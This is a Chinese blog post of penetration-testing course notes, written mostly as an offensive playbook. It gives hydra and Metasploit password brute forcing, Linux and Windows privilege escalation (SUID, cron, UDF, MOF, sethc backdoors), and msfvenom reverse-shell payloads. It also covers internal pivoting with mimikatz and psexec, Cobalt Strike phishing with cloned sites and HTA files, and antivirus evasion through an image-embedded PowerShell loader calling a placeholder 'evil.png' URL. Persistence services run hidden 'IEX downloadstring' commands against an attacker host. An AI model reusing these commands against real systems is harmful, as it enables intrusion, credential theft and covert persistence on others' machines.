暗月教程学习笔记(杂记)

暗月kali笔记

adminer.php 数据库管理脚本

穷举爆破

hydra -L /root/常用用户名.txt -P /root/常用密码.txt 192.168.51.157 -f -t 15 -s 3306 mysql

kali msf

  1. msfconsole
  2. search login/search mysql
  3. use auxi.../scanner/mysql/mysql_login
  4. options
  5. set user_file /root/test/namelist.txt /unset.....
  6. set pass_file /root/test/pwlist.txt
  7. run

wfuzz百万密码破解

webshell密码破解

拿webshell(所有对服务器上文件的保存操作,都有可能)

  1. 上传文件
  2. 新建文件
  3. 编辑模版
  4. 备份数据库
  5. 设置网站信息(读配置文件.inc.php,注意闭合)

linux 提权

内核提权:交互 shell .pl文件

  1. win使用netcat 监听(nc -vvlp 1234)
  2. 菜刀上传.pl文件(tmp目录无执行权限),chmod +x .pl 增加权限, 运行.pl ,建立socket----后面无需在用菜刀

3 、cmd查看内核版本信息,exploit-db搜exp

4、菜刀上传exp.c,win+cmd chmod +x exp.c 增加权限, gcc exp.c -o exp 编译(可先本地编译在上传)

5、运行 ./exp uid从www-data提权到root

ls -al --查看权限,显示所有文件(包括隐藏)

uname -a --查看内核

cat /etc/*release -- 查看发行

cat /etc/shadow --需要root权限

============================================================

SUID提权

  1. 上传suid-exp.c
  2. root 编译 gcc suid-exp.c -o suid-exp
  3. root 加权 chmod 4775 suid-exp -----需要root权限,是否鸡肋(ls -al 注意此文件有s,增加了 suid 的属性)-----一般用带suid的可执行文件提权
  4. 劫持环境变量提权

echo "/bin/bash">cat && chmod 777 cat

export PATH=.:$PATH

  1. 运行 ./suid-exp ,此后都是以root执行命令了,提权成功

suid-exp.c

#include<stdlib.h>

#include <unistd.h>

int main()

{

setuid(0);//run as root

system("id");

system("cat /etc/shadow");

}

已知的可以用来提权的Linux可执行文件有:

Nmap、Vim、find、Bash、More、Less、Nano、cp

查询根目录下所有带用 suid 属性的文件 :

find / -perm -u=s -type f 2>/dev/null

============================================================

CRON JOBS 定时任务提权

  1. cat /etc/crontab--发现定时任务,root执行定时任务

* * * * * root /tmp/test.py

  1. 修改test.py内容---os.system('chmod u+s /bin/dash')
  2. 隔一分钟后,获得root权限

GNU C library 动态链接区 $ORIGIN 溢出提权-------对系统版本有要求,ubuntu不成功

linux mysql udf 提权----------无权限导出udf到plugin目录,mysql root也不行

sudo passwd pc --直接设置密码,绕过复杂度限制

windows提权

  1. cmd.exe+iis6.0.exe 溢出提权
  2. mysql udf提权

{

条件:

  1. mysql 设置secure_file_priv = //不限制导入导出,默认不允许
  2. 手动新建文件夹plugin到lib目录

步骤

1、上传moon.php

2、导出udf

3、创建函数

}

3、ms sql提权

asp.aspx--shell内置各种功能,有时需要配合溢出exp提权

4、lpk.dll提权

限制win server2003和xp。生成并上传lpk.dll到开机自启动程序目录后需要重启机器(鸡肋?等待管理员重启),mstsc远程连接登陆前,5次shift后,ctrl+lpk的密码,即可打开后门。

5、mof提权

mysql root权限使用mof.php脚本输入添加用户命令,导出.mof文件 即可自动提权

----系统nullevt.mof每隔5秒监控进程创建和死亡,mof文件包含一段vb脚本,会被自动运行

6、zend提权---dll劫持

如果php安装了zend扩展解析,工具生成dll上传并替换掉原来的dll,需要重启web服务器+用户访问页面,talent即可正向连接目标机器---鸡肋?

msf也可生成反弹exe文件,用提权工具生成(exe+zend.dll)新zend.dll 并上传, 由zend.dll调用exe---鸡肋?

7、ftp提权

限制win server2003。2008权限不够--替换掉sethc.exe,远程界面,5次shift,弹出cmd界面

8、msf windows提权

ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码

ms16_016 WebDAV 本地提权漏洞(CVE-2016-0051)

ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞

  1. msf生成后门s.exe并菜刀上传

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.106 lport=12345 -f

exe >/root/s.exe

  1. msf: use exploit/...

set payload windows/....

set lhost ....

set lport .....

run----kali开启tcp监听,菜刀运行s.exe

getuid--查看权限(一般 低)

------getsystem --通过各种攻击向量来提升系统用户权限

--------getprivs -----尽可能提升权限

------若成功

shell----得到终端.msf界面执行shell,netu user a a/add & net localgroup administrator a /add -- --添加管理员用户

--------若失败

search ms14_058

use 模块 (info 模块 ----查看信息)

options

set session 1

run ----获得system权限

getuid

migrate id(explorer.exe) --权限维持,注入进程,目标机器开机自动连接攻击机

获得权限后,使用的基础命令

ps --列出进程

background --把session放置后台

sessions 查看会话

back 返回主界面

shell 得到终端

ctrl+c 退出shell终端

rdesktop 192.168... 打开远程桌面

9、msf linux提权

1、msf生成后门 反弹shell脚本 php并菜刀上传

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.134 LPORT=12345 -f raw >

/root/shell.php

2、use ...

set payload...

set lhost....

set lport....

run ...

浏览器访问反弹shell.php,连接kali

getuid

shell---获得终端,查看系统信息--------代替菜刀

exploit-db搜索可用exp

gcc exp.c -o exp

chmod 777 exp

./exp --运行exp 提权

10、msf结合bugs.hacking8.com/tiquan 补丁自动对比工具,查找可利用漏洞

或 烂土豆(win),脏牛(linux)

内网渗透

  1. ssh隧道------针对linux

正向:内网服务器的80端口映射到web服务器的7777端口,kali访问web的7777端口

ssh -fNL {本地地址}:{本地端口}:{目标机器}:{目标端口} {中间机器}

ssh -fNL 0.0.0.0:7777:10.10.10.129:80 pc@192.168.0.128

.128 web服务器执行如上指令,

.129 kali访问 192.168.0.128:7777/1.php

反向连接:web服务器的22端口反弹到kali root权限下。

.128 web服务器 :ssh -qTfnN -R 2222:127.0.0.1:22 root@192.168.0.129

kali(192.168.0.129): .

【/etc/init.d/ssh start ---开启ssh,

ssh -p 2222 root@127.0.0.1

curl http://10.10.10.129 访问内网----只能在终端当前上下文访问,浏览器不行

  1. 端口转发与映射----针对windows(192.168.0.130)

msf生成后门s.exe并上传到web,kali监听反弹

portfwd --h

映射端口:---内网80端口映射到kali

【portfwd add -L -l -r -p】

portfwd add -L 192.168.0.128 -l 2020 -r 10.10.10.129 -p 80

kali浏览器:192.168.0.128:2020

转发端口:---web服务器3389端口转发到kali

portfwd add -l 5555 -r 192.168.0.130 -p 3389

rdesktop 127.0.0.1:5555 ---远程桌面登陆web服务器

{

portfwd list

portfwd flush

}

  1. socket隧道------针对linux
  2. kali和web都下载ssocks, ./configure&&make 编译后,进入src目录
  3. kali --- ./rcsocks -l 1088 -p 1080 -vv 开启监听

等待远程socks5服务器访问本地1080端口,创建本地1080和本地1088端口的连接通道(--vv 显示详细信息)

  1. web----./rssocks -s 192.168.0.129:1080 -vv 反向连接kali的1080端口
  2. kali----gedit /etc/proxychains 禁用sock4,添加socks5 127.0.0.1 1088
  3. kali ----proxychains firefox http://10.10.10.129 --访问内网
  4. kali----proxychains nmap 10.10.10.129 -Pn -sT 0/24 ---扫描内网,需要通过proxychains
  5. 跨路由扫描---------针对windows web服务器

msf生成反弹s.exe并上传到web2003,运行

kali msf 监听

  1. {getuid,ipconfig,sysinfo,shell ,route--网络配置}
  2. run get_local_subnets--查看路由信息
  3. run autoroute -p 打印路由
  4. run autoroute -s 10.10.10.0/24 ---增加路由 run autoroute -p
  5. background
  6. use auxi../server/socks4a
  7. options----set svrport 10044,set svrhost 192.168.0.129
  8. run -----修改etc/proxychains 禁用所有socks,添加socks4 192.168.0.129 10044(最好用外网ip,不要用127.0.0.1,否则外部pc代理不进来)
  9. proxychains nmap -Pn -sT 10.10.10.129 ---扫描内网
  10. proxychains firefox http://10.10.10.129

  1. 内网测试
  2. msf生成反弹s.exe并上传到web2003,运行。kali msf 监听
  3. getuid,getsystem--提权,ps, migrate id --进程迁移
  4. info post/multi/gather/ping_sweep

run post/multi/gather/ping_sweep rhosts=10.10.10.0/24 扫描内网段,检测存活ip

  1. 或者 info post/windows/gather/arp_scanner

run post/windows/gather/arp_scanner rhosts=10.10.10.0/24 扫描内网段

5、run autoroute -p 打印路由 run autoroute -s 10.10.10.0/24 ---增加路由 run autoroute -p

6、background ,use auxiliary/server/socks4a , options,

set srvhost 192.168.0.129 ,run

7、gedit /etc/proxychains.conf 替换socks4 192.168.0.129 1080

8、proxychains nmap -sT -Pn -p 445,22,80,3306 10.10.10.130-135 --open

----扫描内网段机器开发端口

proxychains curl http://10.10.10.132---代理访问内网80端口

9、sessions -i 1, meterpreter > hashdump ------获取所有hash(md5解密)---可远 程web

background

---------------------------------开始渗透内网------------------------------------------

10、msf auxiliary(server/socks4a) > use exploit/windows/smb/psexec

set payload windows/meterpreter/bind_tcp

options

set rhost 10.10.10.133

set smbuser Administrator ------web user

set smbpass f0d1........-----dump的web hash

run----进入内网133

ipconfig 验证

load mimikatz

kerberos----直接解密hash得到明文密码(或 msv---比hashdump优势)

run getgui -e 开启远程桌面

11、kali : proxychains rdesktop 10.10.10.133 ---远程桌面连接内网

cs笔记

【· beacon命令行:

  1. checkin ---强制靶机回连一次
  2. mode dns/dns-txt/http --转换协议
  3. ?mode --查看mode帮助

【会话管理

  1. 增加会话 ------选择其它server监听器,则是备份会话
  2. msf生成木马 与cs会话

msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.0.129 LPORT=8808 -f exe > /tmp/shell.exe

cs 用beacon_http监听129的8808端口---反弹

肉鸡运行shell.exe

3、msf使用IE漏洞ms14_064与cs会话-----(ms14_064,测试 xp ok,win7 no,理论上通杀)

use exploit/windows/browser/ms14_064_ole_code_execution

set srvhost 192.168.0.131-----kali 本机

set srvport 80 -----目的 生成url

set payload windows/meterpreter/reverse_http

set lhost 192.168.0.129----cs server,

set lport 5001--cs beacon_http监听5001

set disablepayloadhandler true---不需要在metasploit框架内创建处理程序来服务有效负载连接,即 无meterpreter

set prependmigrate true--在利用之后立即迁移到另一个进程,允许您的会话在被利用的应用程序崩溃或关闭时存活.对于客户端攻击非常重要

run ---生成url http://192.168.0.131:80/......

----肉鸡IE浏览器访问url,kali响应并Sending exploit和Sending VBS stager,无session ,cs即可显示上线的肉鸡

4、msf session 派生会话给cs(ms14_064,测试仅 xp ok)

use exploit/windows/browser/ms14_064_ole_code_execution

set srvhost 192.168.0.131-----kali 本机

set srvport 80 -----生成的url可访问

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.131----本机

set lport 5001

run ---------disablepayloadhandler,prependmigrate默认值false

-------得到攻击url,肉鸡IE访问url,kali得到session

sessions, session -i 1, getuid,ipconfig, background

-------------------session派生给cs---------------

use exploit/windows/local/payload_inject

set session 1

set payload windows/meterpreter/reverse_http

set lhost 192.168.0.129-----cs server

set lport 5001

run----cs显示上线的肉鸡

【攻击

{后门

  1. html 后门.hta 仅支持powershell (vba,executable --no)
  2. ms office宏病毒--需要office设置宏安全性为低,默认高。或允许宏运行
  3. exe后门

{钓鱼

1、生成1.hta的powershell版html后门

2、创建 文件下载,把1.hta上传到server,保持文件名不变,生成下载URL

  1. 创建 克隆网站,克隆网址为http://www.baidu.com,attack项选择文件下载url,生成url

或者 msf利用ms14_064漏洞生成攻击url,克隆网站 attack里填写攻击url。

  1. 用户访问url,提示下载并运行1.hta后门。cs上线肉鸡

}

【域内自动化横向渗透

1、肉鸡提权至system(是否需要?),目标机右键登陆,选择 psexec、psexec64,使用当前会话访问令牌(域用户可登陆域内任意主机)

【域内隧道的使用

  1. [正向连接]cs socket 代理 指定端口,代理信息界面查看,kali修改etc/proxychains,保持代理信息一致。使用proxychains nmap -Pn sT 扫描内网
  2. setg Proxies socks4:192.168.0.129:31519

setg ReverseAllowProxy true

......使用永恒之蓝攻击---攻击域用户失败

unsetg Proxies

3、创建 中转反向监听器 (10.10.10.128:4444),生成后门,cs上传到.128运行,即可反 向连接

【payload 免杀

  1. HanzoInjection.exe -e payload.bin 向内存注入代码

cs payload选择raw,生成payload.bin文件。cmd HanzoInjection.exe -e payload.bin

360火绒均查杀不出内存后门

2、Invoke-PSImage 工具

将一个PowerShell脚本中的字节嵌入到PNG图像文件的像素之中,并生成一行执行命令来帮助我们从文件下载或Web(传递-Web标记)执行它们,利用大图片中每个像素点最后4位有效位的2个颜色值来存储Payload数据,图片尽可能大,像素点才多。

cs生成powershell后门 payload.ps1,目录下cmd--

Powershell -ExecutionPolicy Bypass

Import-Module .\Invoke-PSImage.ps1

Invoke-PSImage -Script .\payload.ps1 -Image .\test.jpg –Out test2.png –Web

(test和test2基本无差别)

生成利用代码:{----禁止换行

sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/evil.png"));$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3534]))

cs生成 上传test2.png 的链接 http://192.168.0.129:80/test2.png, 替换掉 利用代码里的链接,把利用代码 放到 靶机powershell里执行即可。

3、python 免杀

cs生成python的16进制文件payload.py,把内容放到test.py(含有编译16进制的模块代码),pyinstaller -F test.py 编译生成exe,上传到靶机运行。(被360查杀,火绒否)

【cs绕过检测工具--profile使交互数据内容更符合真实用户的流量,比如填充http的请求内容

./teamserver ip passwd [profile文件]

./teamserver ip passwd Malleable-C2-Profiles/crimeware/asprox.profile

修改默认端口50050,防止被IDS检测

AggressorScripts-----入侵脚本拓展,脚本管理器

【权限维持--可持续后门

1、服务自启动----未成功

shell sc create "Windows Power" binpath= "cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.129:80/a'))"\""

shell sc config "Windows Power" start= auto

shell sc description "Windows Power" "windows auto service"

shell net start "Windows Power"

shell sc delete "Windows Power"

2、服务自启动---成功

shell sc create "server power" binpath= "C:\z\artifact.exe"----exe做免杀

shell sc description "server power" "description" 设置服务的描述字符串

shell sc config "server power" start= auto 设置这个服务为自动启动

shell net start "server power" 启动服务

shell sc delete "server Power"

3、计划任务

schtasks /create /tn "windowsup" /tr "C:\z\artifact.exe" /ru SYSTEM /sc onstart

4、注册表 启动

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\artifact.exe" /f

【veil 免杀工具

veil

use 1--Evasion, (Ordnance可生成在Veil-Evasion中使用的shellcode)

list

use 17

generate...

3 ---custom

cs 生成 veil 的payload,复制16进制内容到veil

【empire笔记 ----empire-web 网页版

  1. powershell-empire 启动
  2. uselistener http
  3. info 、set 、 unset 、execute、help、back、kill
  4. usestager windows/launcher_bat
  5. info 、set listener 、execute。
  6. 把生成的bat文件放到网站目录下,等待靶机访问,得到会话
  7. agents,list, interact xxx,rename yy.

setmodule--使用模块

posted @ 2023-03-24 22:27  hello_bao  阅读(245)  评论(0)    收藏  举报